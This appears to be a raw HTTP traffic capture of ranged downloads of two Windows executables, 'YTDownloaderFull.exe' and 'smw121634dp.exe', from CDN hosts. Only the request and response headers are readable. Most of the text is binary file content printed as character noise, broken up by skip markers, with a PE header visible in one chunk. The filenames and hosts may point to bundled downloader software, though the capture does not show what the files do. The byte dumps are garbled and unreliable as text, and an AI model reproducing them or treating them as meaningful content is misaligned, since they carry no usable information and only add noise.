.W......;..q..a6.'.A:Nn.....G.........].<..<."XL.......\j.)..8..
..N............;EU..........G......b......\........./t]tY'..*G.3......
9....<..c.5...I.y9x..Q.t.o..,...x..O_...\.8h2'.AM..9i..ed..r.;!.5.g
4. t.3q.O8.t.q..`..|.*.#...a......N .;*[email protected]:.....
..5..Q...2...F9.f...c.t.`..J..LX;........&G.....<$}|...Q Fh....R^..
.oY.:..^4....<7...%..==.z........ .......}{.z{...6fM..oc......%..D.
.#.bSI.d..#...c..W....*....u.v..1..dA.j.........&.wb-Z[..t....1.w.....
Tt-.%.v?..._,J.R.Vz...^.......S..f.....N...).R...1. ..G.!^.U:.r..X.. N
.]J.S..t.......K..bL....CN.R......b....RjS..s......zE&#...J...........
,t..p.Nwd..M,..t]....8:......x.....[.:,@2.....K...q......E..3....(..@o
[email protected]..*...Df....9....h..v.....L.q......>l...q.RMb...
:8..pt9...d.B...$..k...V...c..tw.gU..yf..i.S....sa.`...Y..F..!.(..... 
8h..X. 8.,...`.....0%.Z...M.........lN............;..!O9.&..F.4...A.w.
B}.O.....0...z.s.g...60Sx.....@...|...~`7....l5..nOd..m..I.` ..4k;X.].
R.u......~.ZQ.Ye...F<.....'o....][P.?. n....J)[email protected]`...W
..q...Y~......<qzknF...&...w......i'.].E.k...w.u.../..O....._n.
<<< skipped >>>

GET /YTDownloaderFull.exe HTTP/1.1


Range: bytes=4500000-4749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: vvr4w8-1ghhyl1c.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 02 Sep 2015 23:21:11 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: j8uNQjK9apMkV/oDoWFNz3370UPtqdXUSGaA9Vlm/yyafMQ0YOu6NDw7cnJpYY3qD2l1KL1ok1M=
x-amz-request-id: 9E174EA17851E220
Last-Modified: Wed, 26 Aug 2015 09:59:34 GMT
ETag: "3f5ff704cc9b2fa4e8b09ae831e0a593"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 4500000-4749999/7202427
P{.J{..}d"......V.<[email protected]
...B..Q).j.9..70..;o.b.....r...>..>..:I'..i..?...V....d..T...!E6
.:...8r?...r.8..UZ....N.[F....pLm..U.#.W.. *!..18j..it.....3...C.Ayscr
^....(j.v...G..#.....)g.).5...9In.5..] u..>....I;d..0..=..ee.~.....
[email protected]. .v.y!.?A...FW..o.o!U^...M...Y3.._...h...b].v.]...v
....X".GU.i.Y).......[.8.2LR[.).{..{....[....LB9.b..7-..3G.j.3..A.-j..
.:...{....`...7.....;i.$rkN.9....}..|.FW.n......;.. 7.F..w..0.........
3-a....A......h..PL..!.7...&....g..s.......*..O.<y.*._....I....s3..
..M_..v....H...4_.g-./.Qj].;\.<-.>.s....)....$..P%.H..@Q........
..R...hYo..|D..`.............a..z............C..x..Y..L......(...$...V
...;....S$x.,$1.B!kk. }7w.u...>B.|..0A........$.6$.[r.....P.S....o_
...T....]... ....MU....J7[......X...n..Q.}.8.....6[|..d1U..0.~.I...I..
......;..Ufq_.e.5{......'..}..k...M.u...X......q:.`... [email protected]..&pP.
o.......8......7....f...&.e..?..w'.6...|~/JAa..p[.....H..m.....s....u.
. ...pW..6'.(.B...R5k`{...@z.~.1q].f&.Z.@....$..M.h5.:..$..y8..O..b.&l
t;W....o .c...2..1.?."3..UF....(j...~...oPk.......&3X...8.Z...........
.E.N.....k[...n.>.y...\T1.P...qw....a!.{...(hD%......;.../.:...m9..
.......QP...p..=:.,..[Cb).......4.}$.......f.....,v...}.@....|........
?..RP.>Y..........w....w..z.,..R...w".ZX..}.^....n......7..#2......
..|.$..<Y.Q.C..._....K....~s.B.3..^.....'.S..........\.C..O..`.ym..
...m(.P.:.%...Y. . ..y..c..!m............\.c......X.}r..v...X.........
.9.AWT.%....7~..r>F..F..4.......oo...P."..%.|.j96.rh..`........
<<< skipped >>>

GET /YTDownloaderFull.exe HTTP/1.1


Range: bytes=5000000-5249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: vvr4w8-1ghhyl1c.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 02 Sep 2015 23:21:11 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: j8uNQjK9apMkV/oDoWFNz3370UPtqdXUSGaA9Vlm/yyafMQ0YOu6NDw7cnJpYY3qD2l1KL1ok1M=
x-amz-request-id: 9E174EA17851E220
Last-Modified: Wed, 26 Aug 2015 09:59:34 GMT
ETag: "3f5ff704cc9b2fa4e8b09ae831e0a593"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 5000000-5249999/7202427
.....8-.......j ^.Y.8x....1.=...].. (6s.8..q.G..{...3........qn.7.c.b.
%..cp.....>o...#.T..k..Y...J.A~....U.{.$.*. ...<..^......4T..._.
!0.....M.........V.3.}.v....H.M.U.&.S2.6..../....C...........Q.3..*...
$.p.....n....>g.(.h{p..qB..WQ0..t.?.....gs..E..0....4...Q.b....P...
-.. ..d..O...t.'Y.}&.`4.......]h...V..F>T....Jl.r..wM.f.."5$[...O..
..,..w/.1;jei..x..v0..??.....%.lI.9.V.&...^h$.m.%..b.x.O.PF"/..K.>i
[email protected]}5~U."..%^..t.;.G_'5^.9u...y...C..&F..
......^i/..^.]..._.d..C4~.B..*....Y.....t.F7..<.Bt.%}.^.......tk..N
o....uP......P.R...GS\.C.Re|V..[..DK6..'.Gym..v.J..9.C5J".x.....'.....
gK..4...).j.g.U..'.....#..F...a[...<X.i4s.....^....>..4`..Z!..h.
A(..w.^b..."[email protected]...[*;.#M.Kx..vSY.'..eIa0.J..
.N.W.Y..9.....5.w#.ShBUge.{.U...9.]....G......i...z.......;...k.......
).......0@........|.B..qP4........S..b.J(:.?lyTg.<.6,.tZ.....h..C6.
UE..jS.b..Qa..<.3!.e... k.....J.......1./...L.... a.c..a.}b...pW.i.
....e..x.`..\._A.;..1...R.H,.S...N.d..K-..q%q....p'.....3.L.h..Z.....j
.V........6........<[email protected]./.,..J........*._..g....Duh.:......f
.h.-.....jU.8&2.......1.d!1.l...][email protected]........
 .a.F.......... `.-....|...."k..C..c...Qd..v.Hs..~n.-=...7.......d...%
..6.Q7N>..4.A..^....0a.5..F..6...Rb<.....'..F.[...*.yo..j<*#.
.U.L....v..erv.......2....D.r6.._b...$.......<...`?.p.. ...A...-' @
V..,..]t.41....2.">..1...l.Y2o...D5.|.8 "t........E.....J..A.l$_V@Z
.3.......N..K.h./1..p.9X..V...}F0....ro...........=b...._...*Ht..2
<<< skipped >>>

GET /YTDownloaderFull.exe HTTP/1.1


Range: bytes=5500000-5749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: vvr4w8-1ghhyl1c.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 02 Sep 2015 23:21:12 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: j8uNQjK9apMkV/oDoWFNz3370UPtqdXUSGaA9Vlm/yyafMQ0YOu6NDw7cnJpYY3qD2l1KL1ok1M=
x-amz-request-id: 9E174EA17851E220
Last-Modified: Wed, 26 Aug 2015 09:59:34 GMT
ETag: "3f5ff704cc9b2fa4e8b09ae831e0a593"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 5500000-5749999/7202427
e..#..;{9L.......C;..dR.u....y.b.>...L..vo.K.i...:.D......~......j.
........=...[....l......!....v|UPO..,.kHH.\[email protected] \. .VWE..k..
...2W...Z....7N..iM*.-*........@...%.X.h..W..q;...t......Z..ln.\O.G...
5...y..1]v.w;...c! .....R.pSS....|k.7.D.w.3..6..].%...I1....J^.. ...X.
...1[...3.7..3....q>c\.!&.gs.>.MR.m$...T3.X!..Se:....o.F&p..3.~.
........O(....<.>[email protected].,.....T.>..R.H'/..-..'.
...k..r?.8UUV.;'*G..Vu.1..x.......Q.k....Hbh...Q3..WW.."S.k^A~........
je..i,u......_..xz..-...B.[[email protected].. .i.m*X.=...F.'./|.......>.Z..(...
..`..;....b....kiz.E..R...u.......v...Dys..~....4.K...x.iG.....}..(@G.
Q.8&.Y....|.... .|Z.C...e..'......jD..g.H....C...q...V............8J..
.j........*[email protected][email protected].!.].4....2..
,..e.w.!.....*W.m.....A* .]...@..."=ZX?.X...E..F....._.yh.w.]...P.....
e.q.M7.:.~....~...r.....J3._XxI..u.Dn........0.P.Y=^..|@..a.s.|.iW....
x.*...B.X..Wk<Q.....B.a.>..X:...b.=.V....P:[Y.x>..F)R_.R..vv.
|....o...o8..t....Y..U....{#u}y.*{....w.=.zU..." =. ..W`..av..1.......
"........M-...<.g.a.0...%.!@.......<.....m.......m.........uq21w
...w...........S.V.?.h..1.9....6%.Y.!./.xo....RC....F..8........Db....
...o...x....x".....|nH_...N.i...Yi-..h@[email protected]@.e.g;v3.9P....'c.:.!.
....R,.>q>..t...I....B^...p.([email protected].?n..]..5..
...u..O...UP...Fb:r...FV.F.... .....R.U.....|.$..Q..\..(t",Y$="^x...-R
..s.......&.P.`....!..fS5......`.).,O.:o.[..!.5....X.........=..l.....
.po.0S6f'....e:.q>.........}.MX....b...'\q.l....{..b.A.......:]
<<< skipped >>>

GET /YTDownloaderFull.exe HTTP/1.1


Range: bytes=6000000-6249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: vvr4w8-1ghhyl1c.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 02 Sep 2015 23:21:12 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: j8uNQjK9apMkV/oDoWFNz3370UPtqdXUSGaA9Vlm/yyafMQ0YOu6NDw7cnJpYY3qD2l1KL1ok1M=
x-amz-request-id: 9E174EA17851E220
Last-Modified: Wed, 26 Aug 2015 09:59:34 GMT
ETag: "3f5ff704cc9b2fa4e8b09ae831e0a593"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 6000000-6249999/7202427
z.S.L.p.7...Ge.v.4/...H...L....=..[so.m.-.)a.f.....$f.....d4....^.6...
..W...a...V..w......_Q....._t..fJ.:.......X.g.8G......2.Z.u_IK.J`..4..
..Z......,.)...3.....hS.:(hV.]^.#..WT.#.3.:i.':%.....FQ...3 (.......4.
.....#...0%......M*.-.....w!u...Y..&Q.<..$....A~...,..@%....y..uj..
....6L.....gi....|...9.".......{...I6.GU(....zO\u.#.g;*d....<.;5..`
...-.....l...-...|}.y...J..$n...Th.cjR..>...\..l......J....b ]K....
.*.&(............)9...gV...@... ^..FG.>..W..lG...bLl...1..t.~".0.".
.~.L.>e.Eb....:.......`.....1.*H.. ...>.6..h.5.....f^....*@F.y..
...FDe..kS .l.<...(..#./..d!W#..(......lG...E`B.d.?).bZ............
.kc....\Y.....a.......c...........LR.....AY..Q...vYr..e.&...`.~`..a...
..x.... P...&/.........N....>.o....c#.X3....=.& ..U..x.~....P....#.
>..Gi.xE..;..]H..]MR...W(....:?...P"....~<.\....6.2.. s1wh.b<
L.EdK.UH.....Ej....*N..`..R.......S|T......2<8...s..mj.=v..Lg.M...\
Xz.#..eqs&.....7.Gk?.8.9 ..f#.h/....8..%B..O=.~.s...k8r=u.....n.M.f.O.
..3.A....!7.$9......y...G.....cl.....9......(1..(.j.q.....i.....Z;_^..
..*..z..l......?X..g.g8k..=7af@._~..N.. ~....4..I..[....*........`M..e
.J.....kE~E.x.`D. \r..W......,E.'..b...5cR>'..V*.........I.piq.....
....j..cM..w....u;.X.F...5.D.g...1Y.K.z...AW...84..D........R.v..=....
..>....I....J.M.:..KX.........."I.......}...a...D|.Q...c..J&.-.....
..Q}...\.V.D.*........[ae....$.S0....Y.Lm...Xo........['..}...N.Z..m.j
!.Ej^K.W.[s....dl...N/e.....M...A..nh..r...x....f..x....kv...H.DS]...}
..=.q.M,.....d...4.....m.%.....k......d.q.#..*...0..*.2Y....'6...`
<<< skipped >>>

GET /YTDownloaderFull.exe HTTP/1.1


Range: bytes=6500000-6749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: vvr4w8-1ghhyl1c.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 02 Sep 2015 23:21:12 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: j8uNQjK9apMkV/oDoWFNz3370UPtqdXUSGaA9Vlm/yyafMQ0YOu6NDw7cnJpYY3qD2l1KL1ok1M=
x-amz-request-id: 9E174EA17851E220
Last-Modified: Wed, 26 Aug 2015 09:59:34 GMT
ETag: "3f5ff704cc9b2fa4e8b09ae831e0a593"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 6500000-6749999/7202427
..9.c#.;fs0.....*.I,.m.~............../u..\.uU.az.4..7...!.n...O.k..#!
...O..................*j.....U...6.ft..........lsk..X.qw..a.#.......VW
x]M.d..pvn.v.N...UO..Q.x..Q......]}X....h....\..2......*....T..O......
.@ ..j......n.....!.Ld...".V...m..<....I$.%....b..Cx....[.R.*f..n..
6.....Z....|...$;.!...g.?.*.>h...7_y....<bWt.3.4...D...qZ..>.
.q....|".`..Anm........zb.M5Z........>..y.?$9...Q......uq0..."[email protected]
.8.....>...x.C<U....]_.....(=u.y/2......u.).uuA....c..[6.>..R
i...>.W..{..(rp...... cvJ.:.4.F.._...0.a........rjw..... =P....K..j
.*.a...*.B.t.....2..[[email protected]..{.a2..E..c...#.o....y
.\I....J.t}..@...%...,'vL.#.....P...:C]......Zk/...8(.m...8..?...C._w)
Db...e...h.o><].....W}G#..0O..`8...P......{./[email protected].... ....~..)
2....^D...._.5.g.........n...^".Yp#. ..-...k/X....W....R.1.Rv.k?.b...W
...j...S......1...s.,^...`7F[...K...-V#.u(...j".....&tV..[[email protected]
..Tl.C.;..9.b}.FX..........5..>.-0.V.........K.........YaQ......nK.
X]..].......Wo...u...m.m..=...`.Y?!.._0..0.......~............R.so....
..A..N...*o.g.|'..=>A.....O3..'..\./.:.k..6....&D#..X.A=tg4!3m.O$.d
.]S.K.).9.V..R.....~4.Y\^0]...9..P#[email protected];.M....>..AW'..1..h
..{...A.#~..A.S..V....g[2..x.....4......d..$z;=..?.oP}3l...Du.  h8%s).
..a.....&?,b.....aX.V..0.. .....:...w=.A...xmA.....c8tT.K...j...cf....
...Mx.......2G.G.Y..........bV...R...K.|..>e.~sf.-....#..i.......,i
.F..k1MKO...s..|....[.*.E.PJ'.].......%....pea}...3p..o?.....:....c..1
.E..}.<......iS..s.-\p...y..4e...~...T\}?}.......7...&9w..ou}7.
<<< skipped >>>

GET /YTDownloaderFull.exe HTTP/1.1


Range: bytes=7000000-7202426
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: vvr4w8-1ghhyl1c.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 02 Sep 2015 23:21:13 GMT
Content-Type: application/octet-stream
Content-Length: 202427
Connection: keep-alive
x-amz-id-2: j8uNQjK9apMkV/oDoWFNz3370UPtqdXUSGaA9Vlm/yyafMQ0YOu6NDw7cnJpYY3qD2l1KL1ok1M=
x-amz-request-id: 9E174EA17851E220
Last-Modified: Wed, 26 Aug 2015 09:59:34 GMT
ETag: "3f5ff704cc9b2fa4e8b09ae831e0a593"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 7000000-7202426/7202427
?........Yu..se:8....q.q.A....a..Z....Q.D.Yt.....%,.4..&.jIa.De8..;...
.h.MC...P.,................X.k'......O...f......1g...V...)...J9...;...
...*[email protected]...<S$.......dAW.N,....FI.....&:..x%..4....&..3,
.H..yH2.>...B(...^;..L.e;..M6r..Hl}....._.Y..%.......a.e....3......
..S/1.!....-8.8.c...].9..J..-"...,.6.....<...q.;.cJ.b^..]....i...,.
......Lr.7.........^. [email protected]~F.<....P'K....tv....4/.G.1_ ....
.zC.....X[_8".....|t7vj0C...rG..n$.".bi...}U~v.5.AV.b......Zj....eG,2.
..xBa..A.Z.W.v2(../._. ....B.jD.S'pYY...m......^.......&EJ....Y..vq.#.
f.`E.Xd.[..w...,.s..I.........cv....*...N.).m.w..LOXqV;...D=?...!....i
9.C88Hp..h.)..]X..2.I....m.....xT..L".g....NJ.1R..x.....:. ..o../...l;
...4w...^...._......\....S..fJ.&.....#.\j....i....S.p.V....j..*.i.Ge..
>...q(......I:..7..1p.xE.A....83.u..Tw.%[email protected].]7........X
&Nt..........>..>....].4.c.Vtk..^.....^x..6 .......a..[.s..u..w.
".#...w.>[email protected]...%.]....'..xKy..Ig......[ITk......I^..l.Gd&x.'!
........,WB..3..v..c.F.<..B.1o...y........~.......J0..2......_\....
..2T.aE...".(.$-....;..0..|..h......p...u....e.s.X....Y..........|!,..
.......D..q...F.......(...1...Q..ZE=m..V.&*[.tnLV.....iH.x{......<.
..U...D..^..! .E......$..J...{..xtx....?p....../...b.2....q.?.N..d/..S
.x.j...,..k_h.........\Z..Dv17.t,...d%@Z.Lh.EKO..........|qf..Ld.uPq..
..N..y....&.Gh...^.....f........>....F......yE...Y.s.t..PT.. ...~A.
h3....z..".7D.3..T........h1.&....F7t.....O.b.VF.pS.. .[SK$......$_yJ.
..y..cT..m.C....GWR.-H...h.y..j!...5w....^Y.bX...v.2......&....K.o
<<< skipped >>>


GET /smw121634dp.exe HTTP/1.1
Range: bytes=0-249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d13s98z2lzti92.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Cache-Control: public, max-age=3600, s-maxage=3600
Last-Modified: Wed, 08 Jul 2015 08:57:09 GMT
Accept-Ranges: bytes
ETag: "44deb3125cb9d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 02 Sep 2015 17:35:20 GMT
Age: 3596
Content-Range: bytes 0-249999/3359008
X-Cache: Hit from cloudfront
Via: 1.1 affe26bf02a36a4a45ea1eb3ce2b4a62.cloudfront.net (CloudFront)
X-Amz-Cf-Id: _uetrwV7_2Y3z9RD_GNop6IF4vRImQvBwc9cQPBqOPZrOeDDvdg9uA==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
........a.4......................................s..........`B........
... 3.(............................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected]...`[email protected]...`B.......D...v
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.
<<< skipped >>>

GET /smw121634dp.exe HTTP/1.1


Range: bytes=500000-749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d13s98z2lzti92.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Cache-Control: public, max-age=3600, s-maxage=3600
Last-Modified: Wed, 08 Jul 2015 08:57:09 GMT
Accept-Ranges: bytes
ETag: "44deb3125cb9d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 02 Sep 2015 17:35:20 GMT
Age: 3596
Content-Range: bytes 500000-749999/3359008
X-Cache: Hit from cloudfront
Via: 1.1 affe26bf02a36a4a45ea1eb3ce2b4a62.cloudfront.net (CloudFront)
X-Amz-Cf-Id: fFqf_Z7Y6hdb8d3vUt2p1KOjX_bnl_84o43_i3d7A6ut1nuNuNiHmg==
G|....F...`#1.G.........Wk*..<......3~m._..y3.....t..=is..h._m.M8T.
i.K.._u..k.........AJ.v&-2H.......i..K......-.S.2G...-q..}..])f....ad.
j..f..EV.G.}g.NVBSR!~Ne3..."4........V...{g..i .k.....$v..z:..K......X
..;.j(..e.3....p...c).............qW}i.-....z!.S...]....a.=g_.n....yx.
n.y|.a.....\.uy........5.~.9I"E..V..R.3XX.[..W.<.XfGK.....`Q.q..|..
?.G..........7..M...U.-....YzK!....D'.*>...o.~G.b....j...X.=S. .l\v
.A..P..}.....h.d.g|..D:...L.ky...k..jL..o.(.e$|R..[.Y.....|...6*..;3.o
...w.i...x%..(]D!n...).bK.........<.! ..@.>.-SU.R/p."..M....o_.i
.u... d..{M]...,5j.<.'........O..L5.l.. S..G.0KD.q.B..^...Vk...}~..
.*C..^.q... .!....*0.._...f..j.?.....~ .m..(..]L.kK.......`..h..... ..
{......`.jR...$..LI.,.W...;.mp~2.3.[8mI...f..............K..B..y.?.yk.
..Mc..J..wX..;.f...V0.n..T$~...d..f3..;...X......t...=.......W.Q.._../
5.)..lF "../.e..=.F.0...C..... A.*u......hP.o.v.8.........9%....!..0J.
.ipJb|..e...I..,..N..9K..c...Sn......\4WA.k.#.....t. 1.}.H.......>.
......?.{............E%.D.....j.e....o......s.Z.....i"E.>....R...KO
...T.lht.(.vjqF...3.........}.Xg>.[....*...Uh.m|.........!5E./mP.cG
......Fb..q.=....6....A....6.R.......Lx....h. .f....fAS.....qdx.......
r.......q}[email protected]`..8.........H...Y-z....i.d...&D.B..ZG...z{.._m2
.....6<..0....KI."D..a)K....LU..v.@..=5|.<\2.e=[...2...L...6....
.!..../...W2..g..q$q.D&\*[email protected].
..?h2....!R:......6$...3N].....4.4...^5b..zwM"......Q.74..W..%{F.. @..
..3...][email protected];c{F.....%........K.,F!wL..ubT:..jl...IY...7.Q..f58.
<<< skipped >>>

GET /smw121634dp.exe HTTP/1.1


Range: bytes=1000000-1249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d13s98z2lzti92.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Cache-Control: public, max-age=3600, s-maxage=3600
Last-Modified: Wed, 08 Jul 2015 08:57:09 GMT
Accept-Ranges: bytes
ETag: "44deb3125cb9d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 02 Sep 2015 17:35:20 GMT
Age: 3596
Content-Range: bytes 1000000-1249999/3359008
X-Cache: Hit from cloudfront
Via: 1.1 affe26bf02a36a4a45ea1eb3ce2b4a62.cloudfront.net (CloudFront)
X-Amz-Cf-Id: D84y2ZcYhRSxjy4O47iO1hgDdx68KrXw-zIwOFpYzJzwxAvlAM5Pxw==
[email protected]..........'..0.{.)U~...N.:?....T.t........SG'/.<..m
....:.K...._........\...C.v%.............d..xkD..p8%..].Q.....9.....N\
&h.D.q.....u.K.p..C..]DsO.....DnP|.?.o.%.........5k..M...9......E.,.6,
p.5..W.....i.t....HcH..?...6..jR.\....Od.....[...Jg..!....;....F....)~
..........W......*.;.t.....X7...a. :.uw/.S.E....c...`.jj._....D..x..93
.....j.......?.V.....C.=N...v......./....[..zN....g.].4G?y'^q..,.w...)
.z1...u..,[n?..p.f..k.....3CE..^.....6.........t.%e......Q]!.#.J.6.(..
N..X.#.2W.u#..Tvi......LA.F...hb...w%..dC.92..9a....~Y...*1.5jM....ZoS
........dR....1&-..~Cy.....^X.<ih..O>..4.......Y.P....L#...~....
..o.~..4k=..&G.G...[. F.... .w./..........^e.oW.Y)....:'.....c......lb
.TN.....[.h......S...x.6..(Ijbj...|F..K.......$e.j.z..4.5.H..........k
.J...8q..#....Y93g.......5TQ..8.$..:.P.k....H.i).9.S..U.H........CsCQd
.9f...........<...MW.(_.......{.k..i..1`..Mx_&.v.y>l^r.H.......o
. .&;;.W..F...6...1..^.=F..W..=.\.?l..^....4...j....D..'...8]..%Y`....
L6...c..U?..H\[email protected]<t[...S.[..J.k.-O.xv'.X^...%
.-M....`t}@.........?7b....>.p..1...p.u.7.,(.....D..M./.0.0.g.qU...
..3#..8.ye_.$....l.y...g......p........p{..J..7\..bF..<..zw...Mea.6
..|.>......r..........Vz!..@l8,..f][.........::*&..?...O....|?....2
>.M..o...E..%....2D...9$... 4Y...-..k.&..V...].v...o...l..k..|.2...
.6...-.%...;..<.-J.......l.]...b.P...^n....Y.}..fYK......9....("0..
D..;...(..h..Tv...._4.f....V;:D?..f......$..H.E....#..q....zvZY..q...s
......v..6...%[email protected][...kY..H.Vj...( .E..(.[V..K.`...t..9..qV...&
<<< skipped >>>

GET /smw121634dp.exe HTTP/1.1


Range: bytes=1500000-1749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d13s98z2lzti92.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Cache-Control: public, max-age=3600, s-maxage=3600
Last-Modified: Wed, 08 Jul 2015 08:57:09 GMT
Accept-Ranges: bytes
ETag: "44deb3125cb9d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 02 Sep 2015 17:35:20 GMT
Age: 3596
Content-Range: bytes 1500000-1749999/3359008
X-Cache: Hit from cloudfront
Via: 1.1 affe26bf02a36a4a45ea1eb3ce2b4a62.cloudfront.net (CloudFront)
X-Amz-Cf-Id: S2BZCKgT732CHkfkcU1lqwgrbpB5o_losyB1YCPVMDfSEdP7JrYGbw==
.;%[email protected],...:Ql.....6..Z....7..(y".X...
....r.....1X;....2B......;..Q.w.Y..T1....i.j...D<.}...]...4.....4{.
.C.\..>.8r....w|./....{.R....(EcW.p5?$.u.-T~u..x.....vL....'..C.jW.
H....S.........D4_U..{..P.{.^.g...)t.....%.Z.z..}..Q-...y.T...5}..Y..8
.CL....q..2. )D".J.....T".!<bITGCR......EI...#...].$.n..}q.#.t..3.F
.....:.I.0y.hV.V4...|aE.y..]Jn..7...<E$.L.?XS...si..az=...# t...w..
dkJ..|....9.>....l....yX..9.<.e......L.rC1....e.}<.~..bT..M.h
.FFuuF.a..?X....C..{....v..`..}.i..........`..{.:.G..._.$KS..vu.... "H
./..D...../..........C.....>...|1.kz....a..d.......@JE!...iR.v.....
`..h....|.......l......1..n...(I.......vLX.S..nN..<.......B.`Io.XR.
..[.Qs..Mp...'a......R..\.N..j..y.....3.H..P...^j....5..U.....P.o.X.jo
.......3..Zw....1............y/"...e.X.a...Q'^9m..Zm(D8...P...#E`..^).
."...Sm...N06..f.V......w...2......r.,..4....{.....<..y...7..i.....
[email protected]..&....rU.&...kC..#.._.t'r.6..i.......P...w..'0".Z...
7...D7M.Q.6.f#.......;.<1.=.D.q....o...7G.....R..%n...{..-_......@'
M.qV."n\,..7..N=V...)... .bY...........X...i.B.....;E..H'..P.UH".V...y
....{n...M....q.}.O...F5 .....E.F..../....z......8...X....X...b. :a._.
IG..,...k..{..."!v.a..p:..s.P..>[email protected]..}. *}
..4\..u8'..`....f:....qK..?.......3.#...&z.NM......>...}........6-/
.R<.I..t,.*2a.Ld<.s. ....r......`0..*..$.iWdu.X.dA...8......XD}.
..~uJ..`x.]S........_....%..D.o.w....y...n........O^..QH..%...PF...._.
..l.....W........u..U..1...e..z.'B22...7I...P.A.s.<.@...^.y...4
<<< skipped >>>

GET /smw121634dp.exe HTTP/1.1


Range: bytes=2000000-2249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d13s98z2lzti92.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Cache-Control: public, max-age=3600, s-maxage=3600
Last-Modified: Wed, 08 Jul 2015 08:57:09 GMT
Accept-Ranges: bytes
ETag: "44deb3125cb9d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 02 Sep 2015 22:21:15 GMT
Age: 3595
Content-Range: bytes 2000000-2249999/3359008
X-Cache: Hit from cloudfront
Via: 1.1 affe26bf02a36a4a45ea1eb3ce2b4a62.cloudfront.net (CloudFront)
X-Amz-Cf-Id: mIm8ixiJm2Lo3CZZ7eA53VvtpGWQBB1Ujo4UFjP2kNqbSSVQ4si-kQ==
..M..HUn.W..=....Sa..s..Mh.^.B,=..._V.e3F..;...Y.1.r..A.&gS3.....;.l..
.L........_.....4..0L77.7,O..(j..~.# ..H{ ..zXg.k......=..5f|.*2./.ie.
..>..pQD 'A......\e..ME.....2....gm.lu....!..9`....{...2IY.^.n.x..$
...xl.....0..r...y[.7B..`..j...PO..?...L...h..........r...........L.ad
....uv..X.}......."...x?...w;....M.M.Vb.....0q.}gUA...G.>..%L.~....
.k.!.....i:.5.......?...1......1......NI..N.....R..<....uv....U.s.B
.(.P..pL.s.."..8.......4&.......[o.bpoJ.."M.b1...'"J.:.(.;->.....&_
..E...#....L.Z....w.........c".....:..oT.....<....N.!.N...u..c.....
.;.|.C.......A..\.._ -X....Z...........UDC.1.D".TZ.e5.q.5..x....k>.
jDu.hk..Y.@......?.i....Fp@.>e...N..:O...15Y9.....}.uTa%...N2.>9
...[.&S.fc^.."@.....]s<...~.O.Cn5.'^...e...v.......b...m<.......
